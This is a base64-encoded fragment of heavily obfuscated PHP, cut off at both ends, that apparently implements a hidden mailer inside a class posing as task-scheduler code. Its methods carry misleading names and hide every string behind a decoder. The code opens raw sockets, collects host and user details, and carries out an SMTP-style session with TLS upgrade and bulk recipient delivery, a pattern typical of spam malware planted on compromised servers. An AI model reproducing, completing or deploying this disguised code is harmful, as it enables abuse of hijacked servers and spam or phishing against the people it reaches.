ICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfeGwgPSBvcHRpbWl6ZV9jYWNoZShoYXNoX3N0cmluZygkX2R0aVswMF0pKTsKICAgICAgICAgICAgJF9xcXUgPSBsd2MoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3J0JywgJ19sdScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmhuJywgJ191b3AnKSwgaGFzaF9zdHJpbmcoJF9kdGlbMDFdKSk7CiAgICAgICAgICAgICRfY2YgPSAkX3hsIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3llZycsICdfeWVxJykgLiAkX3FxdTsKICAgICAgICAgICAgJF9zeG1bXSA9ICRfY2Y7CiAgICAgICAgICAgIGlmICghZGVjb2RlX2lucHV0KCRfeGwsICRfY3MpKSB7CiAgICAgICAgICAgICAgICAkX2NzW10gPSAkX3hsOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfamJbXSA9ICRfeGw7CiAgICAgICAgfQogICAgICAgIGlmICgkX2tsZSkgewogICAgICAgICAgICBpZiAoIWRlY29kZV9pbnB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaW9zJywgJ19odmMnKSwgJF9jcykpIHsKICAgICAgICAgICAgICAgICRfc3htW10gPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdm9wJywgJ19vaycpIC4gJHRoaXMtPl9obXMoKTsKICAgICAgICAgICAgICAgICRfamJbXSA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194YnMnLCAnX3lhdScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZGVjb2RlX2lucHV0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kZG4nLCAnX3BhJyksICRfY3MpKSB7CiAgICAgICAgICAgICAgICAkX3N4bVtdID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NwdCcsICdfYWcnKSAuICR0aGlzLT5feG9rKCRfbXhzKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195bicsICdfaGknKTsKICAgICAgICAgICAgICAgICRfamJbXSA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19mcycsICdfeXknKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWRlY29kZV9pbnB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeWpjJywgJ192c2snKSwgJF9jcykpIHsKICAgICAgICAgICAgICAgICRfc3htW10gPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdGFlJywgJ19vdScpIC4gJF9zajsKICAgICAgICAgICAgICAgICRfamJbXSA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kaycsICdfZmEnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWRlY29kZV9pbnB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnF4JywgJ190d28nKSwgJF9jcykpIHsKICAgICAgICAgICAgICAgICRfc3htW10gPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaHgnLCAnX21vJykgLiAkX3BrOwogICAgICAgICAgICAgICAgJF9qYltdID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2hkaicsICdfaG13Jyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9ueCA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJF9kdmwgYXMgJF9kemYpIHsKICAgICAgICAgICAgaWYgKGRlY29kZV9pbnB1dCgkX2R6ZiwgJF9qYikpIHsKICAgICAgICAgICAgICAgICRfbnhbXSA9ICRfZHpmOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfa2FvID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkX3N4bSBhcyAkX3BjYSkgewogICAgICAgICAgICAkX2R6ZiA9IG9wdGltaXplX2NhY2hlKHN5bmNfZGF0YSgkX3BjYSwgMDAsIG1vbml0b3JfaGVhbHRoKCRfcGNhLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnFiJywgJ193YmInKSkpKTsKICAgICAgICAgICAgaWYgKGRlY29kZV9pbnB1dCgkX2R6ZiwgJF9ueCkpIHsKICAgICAgICAgICAgICAgICRfa2FvW10gPSAkdGhpcy0+c2FuaXRpemVJbnB1dCgkX3BjYSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9wZ2wgPSByZXNvbHZlX2RlcGVuZGVuY3koVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NtcCcsICdfcmZiJyksIGNoZWNrX2FjY2VzcyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdWJtJywgJ194b3InKSwgJF9ueCkpOwogICAgICAgICRfb3RkID0gcmVzb2x2ZV9kZXBlbmRlbmN5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jcmUnLCAnX3pwcicpLCAkX2thbyk7CiAgICAgICAgcmV0dXJuIGFycmF5KCRfb3RkLCAkX3BnbCk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhbml0aXplSW5wdXQoJF9iamgpCiAgICB7CiAgICAgICAgJF9kdGkgPSBwcm9jZXNzX3JlcXVlc3QoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2ttJywgJ19nYicpLCAkX2JqaCwgMDIpOwogICAgICAgICRfeGwgPSBvcHRpbWl6ZV9jYWNoZShoYXNoX3N0cmluZygkX2R0aVswMF0pKTsKICAgICAgICAkX3FxdSA9ICRfZHRpWzAxXTsKICAgICAgICAkX3FxdSA9IGx3YyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamwnLCAnX3RlJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193aHEnLCAnX3JuaycpLCBoYXNoX3N0cmluZygkX3FxdSkpOwogICAgICAgIHJldHVybiAkX3hsIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2ZjJywgJ19iYnQnKSAuICRfcXF1OwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiB0cmlnZ2VyQ2FsbGJhY2soJF9mZGspCiAgICB7CiAgICAgICAgJF9mZGsgPSBjb21wdXRlX291dHB1dChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaHNtJywgJ19leGgnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3J4cCcsICdfa3N5JyksICRfZmRrKTsKICAgICAgICAkX3VlID0gcHJvY2Vzc19yZXF1ZXN0KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rdScsICdfZGhxJyksICRfZmRrKTsKICAgICAgICAkX3JtdSA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJF91ZSBhcyAkX2V3aykgewogICAgICAgICAgICAkX2V3ayA9IGxvYWRfc2V0dGluZ3MoJF9ld2ssIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nbScsICdfYW0nKSk7CiAgICAgICAgICAgICRfcm11W10gPSAkX2V3azsKICAgICAgICB9CiAgICAgICAgd2hpbGUgKGluaXRfc3lzdGVtKCRfcm11KSA+IDAwICYmIGhhc2hfc3RyaW5nKGVuZCgkX3JtdSkpID09PSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ3R6JywgJ19zYXInKSkgewogICAgICAgICAgICBhcnJheV9wb3AoJF9ybXUpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gcmVzb2x2ZV9kZXBlbmRlbmN5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pY2MnLCAnX3V0YScpLCAkX3JtdSkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbWonLCAnX21hbycpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiB1cGRhdGVSZWdpc3RyeSgkX3JwLCAkX213dSkKICAgIHsKICAgICAgICByZXR1cm4gJF9td3UgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamUnLCAnX25lJykgLiAkX3JwOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiByZXNldFN0YXRlKCRfZ25wLCAkX3BrLCAkX214cykKICAgIHsKICAgICAgICAkX2R0aSA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193cycsICdfeHgnKSwgJF9nbnApOwogICAgICAgICRfYm90ID0gJF9kdGlbMDFdICE9ICRfbXhzOwogICAgICAgICRfYWkgPSBmdW5jdGlvbl9leGlzdHMoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NjeCcsICdfZmZ2JykpID8gQGdldF9jdXJyZW50X3VzZXIoKSA6ICRfZHRpWzAwXTsKICAgICAgICBpZiAoISRfYWkgfHwgZGVjb2RlX2lucHV0KCRfYWksIGFycmF5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194ZnQnLCAnX3J4aycpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcnVuJywgJ193bXUnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JoJywgJ19vdWwnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3lwbCcsICdfdXl5JyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19mcicsICdfY3JqJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ienQnLCAnX2ZsaCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2F1JywgJ19zdXUnKSkpKSB7CiAgICAgICAgICAgICRfYWkgPSAkX2R0aVswMF07CiAgICAgICAgfQogICAgICAgIGlmICghJF9ib3QpIHsKICAgICAgICAgICAgJF9keiA9ICFlbXB0eSgkX1NFUlZFUltUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdnF6JywgJ19zc3InKV0pID8gJF9TRVJWRVJbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3lxaycsICdfZnAnKV0gOiBAZ2V0aG9zdGJ5bmFtZSgkX214cyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9keiA9IEBnZXRob3N0YnluYW1lKCRfbXhzKTsKICAgICAgICB9CiAgICAgICAgJF9ieSA9ICR0aGlzLT5faGl1KCRfZHopOwogICAgICAgIGlmICghJF9ieSkgewogICAgICAgICAgICAkX2J5ID0gJF9kdGlbMDFdOwogICAgICAgIH0KICAgICAgICAkX2ZyID0gYXJyYXkoKTsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xaW4nLCAnX2FheScpKSAmJiBmdW5jdGlvbl9leGlzdHMoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3Z4bicsICdfY3ZoJykpKSB7CiAgICAgICAgICAgIEBzcmFuZChAY3JjMzIoJF9kdGlbMDFdKSk7CiAgICAgICAgfQogICAgICAgICRfZnJbXSA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xYicsICdfZG1lJykgLiAkX2J5IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZzZicsICdfbngnKSAuICRfYnkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXYnLCAnX2pkJykgLiAkX2R6IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3pocycsICdfcXBkJykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaGxmJywgJ196dScpIC4gJF9kdGlbMDFdIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hpaScsICdfeWR0JykgLiBzdHJ0b3VwcGVyKCR0aGlzLT5feWZ5KDAxNSkpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2N2bycsICdfaW1tJykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmdnJywgJ19pb3InKSAuICRfcGsgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ2V5JywgJ193dCcpIC4gJHRoaXMtPl92dCgpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NvaicsICdfdWx4JykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeHB5JywgJ190aScpIC4gJF9ieSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xamwnLCAnX2pvZScpIC4gcmFuZCgwMTIsIDAzMDMyMzcpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2hocicsICdfbG9wJykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXonLCAnX2ducCcpIC4gc3RydG91cHBlcigkdGhpcy0+X3lmeSgwMTIpKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ycGQnLCAnX3F6eScpIC4gJHRoaXMtPl92dCgpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NtJywgJ19zdWUnKTsKICAgICAgICAkX3lrbSA9ICR0aGlzLT5fdXUoKTsKICAgICAgICAkX2ZyW10gPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3dmJywgJ19raScpIC4gJF9haSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19heXMnLCAnX2VudicpIC4gJF9ieSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196dnUnLCAnX3lweScpIC4gJF95a20gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfd3liJywgJ194cGUnKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ190cCcsICdfdmNlJykgLiAkX2ducCAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jdScsICdfYW51JykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGp1JywgJ19jdycpIC4gJHRoaXMtPl95ZnkoMDYsIDAxKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19veWInLCAnX29zdicpIC4gJHRoaXMtPl95ZnkoMDIsIDAyKSAuICR0aGlzLT5feWZ5KDAzLCAwMSkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXJ5JywgJ19wdGcnKSAuICR0aGlzLT5feWZ5KDAyLCAwMSkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcHMnLCAnX2RmeicpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NvJywgJ19kdycpIC4gJF9wayAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19naXInLCAnX2VzdScpIC4gJHRoaXMtPl92dCgpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3dtZScsICdfcWt3Jyk7CiAgICAgICAgcmV0dXJuICRfZnJbdHJpZ2dlcl9ldmVudCgkX2ZyKV07CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGVuY3J5cHREYXRhKCRfanAsICRfYW4sICRfZXUsICRfdnh1ID0gMDEyLCAkX3dpcCA9IHRydWUsICRfbGkgPSB0cnVlKQogICAgewogICAgICAgICRfeHogPSAoJF9ldSA9PT0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2toJywgJ192d3QnKSA/IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ua2snLCAnX3BxeicpIDogVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3JyYycsICdfeW9pJykpIC4gJF9qcCAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19taCcsICdfeGF3JykgLiAkX2FuOwogICAgICAgICRfeWYgPSBmYWxzZTsKICAgICAgICAkX29hdSA9IDAwOwogICAgICAgICRfeGMgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcnFmJywgJ19ub2onKTsKICAgICAgICBpZiAoJF93aXAgJiYgZnVuY3Rpb25fZXhpc3RzKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19xbGknLCAnX3ZmbicpKSkgewogICAgICAgICAgICAkX3lmID0gQGZzb2Nrb3BlbigkX2pwLCAkX2FuLCAkX29hdSwgJF94YywgJF92eHUpOwogICAgICAgIH0KICAgICAgICBpZiAoJF9saSAmJiAhJF95ZiAmJiBmdW5jdGlvbl9leGlzdHMoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NocScsICdfYWR2JykpKSB7CiAgICAgICAgICAgICRfeWYgPSBAc3RyZWFtX3NvY2tldF9jbGllbnQoJF94eiwgJF9vYXUsICRfeGMsICRfdnh1LCAwNCwgJHRoaXMtPl9rZSk7CiAgICAgICAgfQogICAgICAgIGlmICgkX3lmKSB7CiAgICAgICAgICAgIEBzdHJlYW1fc2V0X3RpbWVvdXQoJF95ZiwgJF92eHUsIDAwKTsKICAgICAgICAgICAgJF9qdXAgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19icXcnLCAnX2h6YicpLCAkX2p1cCkpIHsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJF95Zik7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfeWY7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHRyYWNrQWN0aXZpdHkoJF95ZiwgJF9nbnAsICRfcGssICRfaHJ6LCAkX214cykKICAgIHsKICAgICAgICAkX2t5ID0gJHRoaXMtPnBhcnNlUmVzcG9uc2UoJF9teHMpOwogICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfanRlJywgJ195b3InKSAuICRfa3kgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeHBzJywgJ19hZCcpKTsKICAgICAgICAkX2xxID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nYmQnLCAnX3p5dicpLCAkX2xxKSkgewogICAgICAgICAgICBAZnB1dHMoJF95ZiwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3FwJywgJ193eScpIC4gJF9reSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rbW0nLCAnX2lheCcpKTsKICAgICAgICAgICAgJF9neWUgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ncXInLCAnX2ZibycpLCAkX2d5ZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoc3RyaXBvcygkX2xxLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZG8nLCAnX25zJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICBAZnB1dHMoJF95ZiwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NrdScsICdfaWZnJykpOwogICAgICAgICAgICAkX3l1ID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgICAgICBpZiAoIXlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa2JkJywgJ19naGwnKSwgJF95dSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIUBzdHJlYW1fc29ja2V0X2VuYWJsZV9jcnlwdG8oJF95ZiwgdHJ1ZSwgMDExKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeGt0JywgJ19ybicpIC4gJF9reSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pdWMnLCAnX3JtJykpOwogICAgICAgICAgICAkX2xxID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgICAgICBpZiAoIXlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa3NtJywgJ19yanQnKSwgJF9scSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF95ZiwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2t1bicsICdfcHh2JykgLiAkX2ducCAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19mbGcnLCAnX2t0dycpKTsKICAgICAgICAkX2ZwID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19jemUnLCAnX2x5JyksICRfZnApKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgQGZwdXRzKCRfeWYsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19lcScsICdfdXhjJykgLiAkX3BrIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2NqJywgJ19xaXMnKSk7CiAgICAgICAgJF94dGQgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RraCcsICdfanZqJyksICRfeHRkKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZnR1JywgJ19oZycpKTsKICAgICAgICAkX3diID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192aicsICdfYnlzJyksICRfd2IpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF91ZSA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19qaycsICdfZW1zJyksICRfaHJ6KTsKICAgICAgICBmb3JlYWNoICgkX3VlIGFzICRfd2wpIHsKICAgICAgICAgICAgQGZwdXRzKCRfeWYsIGxvYWRfc2V0dGluZ3MoJF93bCwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3Z2aCcsICdfZmVuJykpIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3locicsICdfdHFqJykpOwogICAgICAgIH0KICAgICAgICAkX290ZCA9ICR0aGlzLT5zYXZlQ2hhbmdlcygkX3lmKTsKICAgICAgICBpZiAobW9uaXRvcl9oZWFsdGgoJF9vdGQsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196dHInLCAnX2N6eScpKSA9PT0gMDApIHsKICAgICAgICAgICAgQGZwdXRzKCRfeWYsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ191eicsICdfbXJyJykpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiB0ZXJtaW5hdGVTZXNzaW9uKCRfeWYsICRfZ25wLCAkX3BrLCAkX2hyeiwgJF9teHMsICRfZ3ViLCAkX3ZsKQogICAgewogICAgICAgICRfa3kgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX214cyk7CiAgICAgICAgQGZwdXRzKCRfeWYsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19pb3knLCAnX2xtYycpIC4gJF9reSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19hb2snLCAnX25pJykpOwogICAgICAgICRfbHEgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3psJywgJ19zc2QnKSwgJF9scSkpIHsKICAgICAgICAgICAgQGZwdXRzKCRfeWYsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194aicsICdfeWQnKSAuICRfa3kgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdmUnLCAnX2R1YScpKTsKICAgICAgICAgICAgJF9neWUgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vZG0nLCAnX2JocicpLCAkX2d5ZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoc3RyaXBvcygkX2xxLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHInLCAnX295JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICBAZnB1dHMoJF95ZiwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3h3YycsICdfY2ljJykpOwogICAgICAgICAgICAkX3l1ID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgICAgICBpZiAoIXlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZG5zJywgJ19iYW4nKSwgJF95dSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIUBzdHJlYW1fc29ja2V0X2VuYWJsZV9jcnlwdG8oJF95ZiwgdHJ1ZSwgMDExKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfendvJywgJ19scGcnKSAuICRfa3kgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXcnLCAnX2xybScpKTsKICAgICAgICAgICAgJF9scSA9ICR0aGlzLT5zYXZlQ2hhbmdlcygkX3lmKTsKICAgICAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21nJywgJ19rYWMnKSwgJF9scSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF95ZiwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX252YycsICdfeHJnJykpOwogICAgICAgICRfYXQgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lwJywgJ19qdG4nKSwgJF9hdCkpIHsKIC